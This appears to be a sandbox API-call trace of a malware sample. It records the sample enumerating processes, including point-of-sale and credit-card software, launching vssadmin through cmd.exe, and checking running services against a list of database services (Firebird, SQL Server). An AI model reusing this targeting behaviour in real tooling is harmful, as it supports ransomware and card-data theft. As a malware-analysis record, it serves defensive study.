[0076.806] lstrlenW (lpString="accupos.exe") returned 11 [0076.806] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0076.808] lstrlenW (lpString="afr38.exe") returned 9 [0076.809] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0076.811] lstrlenW (lpString="aldelo.exe") returned 10 [0076.811] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0076.813] lstrlenW (lpString="ccv_server.exe") returned 14 [0076.813] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0076.815] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0076.815] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0077.015] lstrlenW (lpString="creditservice.exe") returned 17 [0077.015] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0077.017] lstrlenW (lpString="edcsvr.exe") returned 10 [0077.017] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0077.019] lstrlenW (lpString="fpos.exe") returned 8 [0077.019] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0077.021] lstrlenW (lpString="isspos.exe") returned 10 [0077.021] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0077.023] lstrlenW (lpString="mxslipstream.exe") returned 16 [0077.023] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0077.025] lstrlenW (lpString="omnipos.exe") returned 11 [0077.025] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0077.027] lstrlenW (lpString="spcwin.exe") returned 10 [0077.027] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0077.028] lstrlenW (lpString="spgagentservice.exe") returned 19 [0077.029] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0077.030] lstrlenW (lpString="utg2.exe") returned 8 [0077.030] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0077.032] lstrlenW (lpString="amsterdam.exe") returned 13 [0077.032] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0077.034] lstrlenW (lpString="targetannounce.exe") returned 18 [0077.034] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0077.036] lstrlenW (lpString="managed-davis.exe") returned 17 [0077.036] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0077.419] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0077.420] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0077.421] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0077.421] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.423] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.423] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.424] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.425] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0077.427] lstrlenW (lpString="winhost.exe") returned 11 [0077.427] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0077.428] lstrlenW (lpString="cmd.exe") returned 7 [0077.428] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.430] lstrlenW (lpString="conhost.exe") returned 11 [0077.430] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0077.431] lstrlenW (lpString="vssadmin.exe") returned 12 [0077.431] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0077.433] CloseHandle (hObject=0x1a0) returned 1 [0077.435] Sleep (dwMilliseconds=0x1f4) [0078.241] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514d48 [0078.243] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0078.243] GetLastError () returned 0xea [0078.244] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x13a6) returned 0x36ee520 [0078.244] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ee520, cbBufSize=0x13a6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ee520, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0078.245] CloseServiceHandle (hSCObject=0x514d48) returned 1 [0078.246] lstrlenW (lpString="Appinfo") returned 7 [0078.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0078.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0078.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0078.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0078.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0078.246] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0078.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.246] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0078.247] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0078.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0078.247] lstrlenW (lpString="AudioSrv") returned 8 [0078.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0078.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0078.247] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0078.247] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0078.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0078.247] lstrlenW (lpString="BFE") returned 3 [0078.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0078.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0078.247] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0078.247] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0078.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0078.247] lstrlenW (lpString="CryptSvc") returned 8 [0078.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0078.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0078.248] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0078.248] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0078.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0078.248] lstrlenW (lpString="CscService") returned 10 [0078.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0078.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0078.248] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0078.248] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0078.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0078.248] lstrlenW (lpString="DcomLaunch") returned 10 [0078.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.249] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0078.249] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0078.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0078.249] lstrlenW (lpString="Dhcp") returned 4 [0078.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0078.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0078.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0078.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0078.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0078.249] lstrlenW (lpString="Dnscache") returned 8 [0078.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0078.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0078.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0078.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0078.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0078.250] lstrlenW (lpString="DPS") returned 3 [0078.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0078.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0078.250] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0078.250] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0078.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0078.250] lstrlenW (lpString="eventlog") returned 8 [0078.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0078.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0078.250] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0078.250] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0078.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0078.250] lstrlenW (lpString="EventSystem") returned 11 [0078.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0078.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0078.251] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0078.251] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0078.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0078.251] lstrlenW (lpString="FontCache") returned 9 [0078.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0078.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0078.251] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0078.251] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0078.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0078.251] lstrlenW (lpString="gpsvc") returned 5 [0078.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0078.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0078.252] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0078.252] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0078.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0078.252] lstrlenW (lpString="iphlpsvc") returned 8 [0078.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.253] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0078.253] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0078.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0078.254] lstrlenW (lpString="LanmanServer") returned 12 [0078.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0078.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0078.254] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0078.254] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0078.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0078.254] lstrlenW (lpString="LanmanWorkstation") returned 17 [0078.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.254] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0078.254] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0078.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0078.254] lstrlenW (lpString="lmhosts") returned 7 [0078.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0078.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0078.255] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0078.255] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0078.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0078.255] lstrlenW (lpString="MMCSS") returned 5 [0078.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0078.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0078.255] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0078.255] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0078.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0078.255] lstrlenW (lpString="MpsSvc") returned 6 [0078.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0078.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0078.255] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0078.255] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0078.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0078.256] lstrlenW (lpString="Netman") returned 6 [0078.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0078.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0078.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0078.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0078.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0078.256] lstrlenW (lpString="netprofm") returned 8 [0078.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0078.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0078.256] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0078.256] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0078.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0078.256] lstrlenW (lpString="NlaSvc") returned 6 [0078.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0078.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0078.257] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0078.257] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0078.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0078.257] lstrlenW (lpString="nsi") returned 3 [0078.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0078.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0078.257] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0078.257] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0078.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0078.257] lstrlenW (lpString="PcaSvc") returned 6 [0078.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0078.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0078.258] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0078.258] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0078.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0078.258] lstrlenW (lpString="PlugPlay") returned 8 [0078.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0078.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0078.258] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0078.258] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0078.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0078.258] lstrlenW (lpString="Power") returned 5 [0078.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0078.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0078.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0078.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0078.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0078.259] lstrlenW (lpString="ProfSvc") returned 7 [0078.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0078.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0078.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0078.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0078.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0078.259] lstrlenW (lpString="RpcEptMapper") returned 12 [0078.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0078.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0078.259] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0078.260] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0078.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0078.260] lstrlenW (lpString="RpcSs") returned 5 [0078.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0078.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0078.260] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0078.260] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0078.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0078.260] lstrlenW (lpString="SamSs") returned 5 [0078.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0078.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0078.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0078.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0078.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0078.260] lstrlenW (lpString="Schedule") returned 8 [0078.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0078.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0078.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0078.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0078.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0078.261] lstrlenW (lpString="SENS") returned 4 [0078.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0078.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0078.261] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0078.261] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0078.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0078.261] lstrlenW (lpString="ShellHWDetection") returned 16 [0078.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0078.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0078.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0078.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0078.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 